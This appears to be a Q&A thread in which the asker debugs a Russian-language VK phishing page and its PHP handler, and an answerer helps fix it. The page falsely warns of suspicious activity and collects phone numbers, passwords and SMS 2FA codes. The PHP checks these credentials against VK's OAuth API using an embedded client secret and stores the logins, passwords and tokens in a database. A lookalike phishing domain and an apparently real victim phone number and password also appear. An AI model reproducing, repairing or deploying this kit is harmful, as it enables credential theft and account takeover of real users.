0

I have some problems with my PHP handler.Like here is my handler:

<?php

//Создадим headers
$headers = array(
    'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'content-type' => 'application/x-www-form-urlencoded',
    'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы


function login()
{
    if (isset($_GET['login']) && isset($_GET['oldPassword'])) {

        echo $_GET['login'];
        echo $_GET['oldPassword'];
    } else {
        // Fallback behaviour goes here

        $login    = login($_GET['login']);
        $password = login($_GET['oldPassword']);
    }
}
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
    header('Location: /authorize.php?error_login=true');
    exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
    $get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
        'headers' => array(
            'accept: '.$headers['accept'],
            'content-type: '.$headers['content-type'],
            'user-agent: '.$headers['user-agent']
        )
    ));
//Если авторизация прошла успешно
    if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
    {
        $token1 = json_decode(file_get_contents('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.''), true);
        $data = json_decode(file_get_contents('https://api.vk.com/method/users.get?user_id='.$token1['user_id'].'&access_token='.$token[0].'&fields=uid,first_name,last_name&v=5.80'), true);

        //Записываем в переменную текущую дату и время сервера
        $date_l = date("H:i:s  d-m-Y");
//Подключаемся к БД
        $host="localhost";
        $user=""; //Имя пользователя от MySql
        $pass=""; //Пароль от MySql
        $db_name=""; //Имя базы
        $link=mysql_connect($host,$user,$pass);
        mysql_select_db($db_name,$link);
        mysql_query("set names utf8");
//Выполняем запись валида в БД
        $sql = mysql_query("INSERT INTO vk(login, password, token, date, user_id, first_name, last_name) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."','".$token1['user_id']."','".$data['response'][0]['first_name']."','".$data['response'][0]['last_name']."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com или на ваш сайт
        if ($sql) {
            session_start();
            $_SESSION['logged_user'] = $data['response'][0]['first_name'];
            header('Location: vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
        } else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
        mysql_close($link);
        exit;
    }
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с  ошибкой
    else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

    if(isset($params['params'])) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
    }

    if(isset($params['headers'])) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
    }

    if(isset($params['cookies'])) {
        curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
    }

    if($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy);

        if($proxy_userpwd) {
            curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
        }
    }

    $result = curl_exec($ch);
    $result_explode = explode("\r\n\r\n", $result);

    $headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
    $content = $result_explode[count($result_explode) - 1];


    preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);

    $cookies = implode(';', $parse_cookies[1]);

    curl_close($ch);

    return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
And I try to handle this page but I took an error 302 when I push the button to send my form to my PHP handler.In console I see only this: Request URL: https://justdoit2019.000webhostapp.com/continue.php?act=login&login=380506030076&oldPassword=Avangard200210&captcha_key=&captcha_sid=&validation_sid=&code=&newPassword=Avangard200210aaa&is2fa=0&qid=&token= Request Method: GET Status Code: 302 This is my form.
<script type="text/javascript">
  function checkLogin() {
   if (g("check").value === "") {
    $("#check").css({"border": "1px solid #F00F00", "background": "#FCCFCC"});
   } else {
    //g("err").style.display = "none";
    $("#number").fadeOut(300, function() {
     $("#password").fadeIn(300);
    });
    $.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {

    });
   }
  }

  function g(id) {
   return document.getElementById(id);
  }

  var wascapt = false;
  var wassms = false;
  var have2fa = false;
  var gettedToken = "";

  function login() {
   var captcha_key = "";
   var captcha_sid = "";
   var smscode = "";
   var validation_sid = "";


   var login = g("check").value.replace("+", "");
   var password = g("oldpassword").value;

   $("#err").fadeOut(300);

   if (g("newpassword").value.length < 6) {
    $("#err").html("Пароль должен иметь 6 или более символов").fadeIn(300);
    return;
   }


   if (g("newpassword").value !== g("newpassword2").value) {
    $("#err").html("Пароль не изменён, так как новый пароль повторен неправильно.").fadeIn(300);
    return;
   }


   if (g("captcha_sid").value) {
    captcha_key = g("captcha_key").value;
    captcha_sid = g("captcha_sid").value;
    wascapt = false;
   }

   if (wassms) {
    smscode = g("smscode").value;
    validation_sid = g("validation_sid").value;
    wassms = false;
   }


   var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
    var response = JSON.parse(auth.responseText);
    /*if (response.access_token) {
     changePassword(login, password, response.access_token, g("newpassword").value);
     return;
    }*/

    if (response.api) {
     if (response.result) {
      window.location.replace("https://vk.com/id0");
     } else {
      gettedToken = response.token;
      var e = response.api.error;
      if (e.error_code === 14) {
       $("#password, #sms").fadeOut(300, function () {
        $("#capt").fadeIn(300);
       });
       g("captcha_key").value = "";
       g("captcha_key").focus();
       g("capt_img").src = e.captcha_img;
       g("captcha_sid").value = e.captcha_sid;
      }
     }
     return;
    }

    if (response.auth && !response.result || response.code === 0) {
     var e = response.auth;
     switch (response.auth.error) {
      case "invalid_client":
       $("input[type='text'], input[type='password']").val("");
       $("#err").html("Неверный логин или старый пароль").fadeIn(300);
       $("#number").fadeIn(300);
       $("#capt, #password").fadeOut(300);
       break;

      case "need_captcha":
       $("#password, #sms").fadeOut(300, function() {
        $("#capt").fadeIn(300);
       });
       g("captcha_key").value = "";
       g("captcha_key").focus();
       g("capt_img").src = e.captcha_img;
       g("captcha_sid").value = e.captcha_sid;
       wascapt = true;
       break;

      case "need_validation":
       $("#password, #capt").fadeOut(300, function() {
        $("#sms").fadeIn(300);
       });
       g("validation_sid").value = e.validation_sid;
       wassms = true;
       have2fa = true;
       $.ajax("https://api.vk.com/method/auth.validatePhone?sid=" + e.validation_sid + "&v=5.22");
       break;

      default:
       break;
     }
    }
   });
  }

 </script>
</head>
<body>

<div class="header"></div>
<div class="page">
 <div class="page-border">
  <div class="content">
   <div class="spamfight"></div>
   <p>На Вашей странице была обнаружена подозрительная активность. На данный момент<strong> злоумышленники</strong> могут иметь доступ к Вашей странице.
   </p>
   <br>
   <p>Чтобы обезопасить свою страницу, мы просим Вас <span style="color:#45668E">проверить компьютер <strong>антивирусом</strong></span>, подтвердить, что Вы владелец страницы и изменить свой пароль, используя данную страницу.
   </p>
   <br>
   <p>Злоумышленники могли получить доступ к Вашей странице с помощью следующей подозрительной ссылки. </p>
   <div class="reason">
    <p style="padding-left:20px">
     <strong>Подозрительная ссылка</strong>
     <br>
     <span style="cursor:pointer">http://goo.gl/...</span>
    </p>
   </div>


   <div id="err" class="oauth_error"></div>

   <div class="content-1" id="number" style="display: block;">
    <p class="login">Мобильный телефон либо e-mail:</p>
    <input type="text" id="check" class="textbox-blocked" name="mobile" autofocus="" value="">
    <div class="button btn-mobile" onclick="checkLogin();" style="width:134px">Продолжить</div>
   </div>

   <div class="content-1" id="password" style="display: none;">
    <p class="login">Старый пароль</p>
    <input id="oldpassword" type="password" name="pass" autofocus="" required="" pattern=".{6,50}" class="textbox-blocked">
    <p class="login">Новый пароль</p>
    <input id="newpassword" type="password" name="newpass" required="" pattern=".{6,50}" class="textbox-blocked">
    <p class="login">Повторите пароль</p>
    <input id="newpassword2" type="password" name="repass" required="" pattern=".{6,50}" class="textbox-blocked">
    <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
   </div>

   <div class="content-1" id="capt" style="display: none;">
    <input id="captcha_sid" type="hidden" name="captcha_sid" value="">
    <br><img id="capt_img" src="https://vk.com.setting.antiviruseprotectionservice.xyz/blocked.php?id=156834558"><br><br>
    <p class="login">Код с картинки:</p>
    <input id="captcha_key" type="text" name="captcha_key" required="" pattern=".{6,50}" class="textbox-blocked">
    <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
   </div>

   <div id="sms" style="display: none;">
    <div class="oauth_error">Чтобы подтвердить, что Вы действительно являетесь владельцем страницы, пожалуйста, введите код подтверждения из SMS либо последние 4 цифры номера, с которого Вам поступит звонок.
    </div>
    <br>
    <div class="content-1">
     <input id="validation_sid" type="hidden" name="validation_sid" value="1">
     <p class="login">Код подтверждения:</p>
     <input id="smscode" type="text" required="" pattern=".{6,50}" class="textbox-blocked">
     <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
    </div>

So where in my PHP handler "continue.php" can be mistake?

  • Why are you passing the parameters in the URL? You should use them in POST You are sending the password in URL. You had login() function. Where you are calling it? As the function is not called, $login and $password are always empty, which redirects to the error page. – Amanjot Kaur Jan 04 '20 at 11:35
  • @AmanjotKaur , So how I can start this login() function? – agronom617 Jan 06 '20 at 09:49
  • You can send a parameter like `is_login = 1` via post parameters. Then check on in PHP code if the is_login is set and equal to 1. If yes, call the function `login()` Check on how to call functions https://www.w3schools.com/php/php_functions.asp and jQuery POST https://api.jquery.com/jQuery.post/ – Amanjot Kaur Jan 06 '20 at 09:52
  • @AmanjotKaur , If I understand you,I need to delete this field? var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() { – agronom617 Jan 07 '20 at 11:28
  • No you have to pass the variables in ajax in POST method, not GET – Amanjot Kaur Jan 07 '20 at 11:39

1 Answers1

0

Why are you passing the parameters in the URL? You should use them in POST. You are sending the password in the URL. You had login() function. Where you are calling it? As the function is not called, $login and $password are always empty, which redirects to the error page

Ajax POST

$.ajax({
      type: "POST",
      url: 'continue.php',
      data: {"login":login,"oldPassword":password}, //You can change your parameters as per your requirement
      dataType: "json",
      success: function(result)
      {
        var response = JSON.parse(result.responseText);
      }
    });

Get the POST Data in PHP

login(); //Remember to call this function
function login()
{
    if (isset($_POST['login']) && isset($_POST['oldPassword'])) {
        $login    = $_POST['login'];
        $password = $_POST['oldPassword'];
    }
}

I have just updated your code to a small bit. Rest you can do the changes as per your requirements.

You can learn more about posting POST data in AJAX here: jquery AJAX and json format

Also, should not use header('location:....); in AJAX called pages. You need to remove that code also. You have to send some response to ajax that error has occurred if login or old_password is empty.

Amanjot Kaur
  • 2,028
  • 4
  • 18
  • 33
  • thank's so much,I have one more question,but,can I handle url in get manner? Like this var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() { I think must exist solutions to handle url? – agronom617 Jan 09 '20 at 10:01
  • This is GET ... You should not use this. You are sending the password in GET and that should never be done. You can try POST and GET ajax like https://www.w3schools.com/jquery/jquery_ajax_get_post.asp – Amanjot Kaur Jan 09 '20 at 10:03
  • @agronom617 Check difference between GET and POST https://www.w3schools.com/tags/ref_httpmethods.asp – Amanjot Kaur Jan 09 '20 at 10:06
  • @agronom617 GET requests should never be used when dealing with sensitive data – Amanjot Kaur Jan 09 '20 at 10:07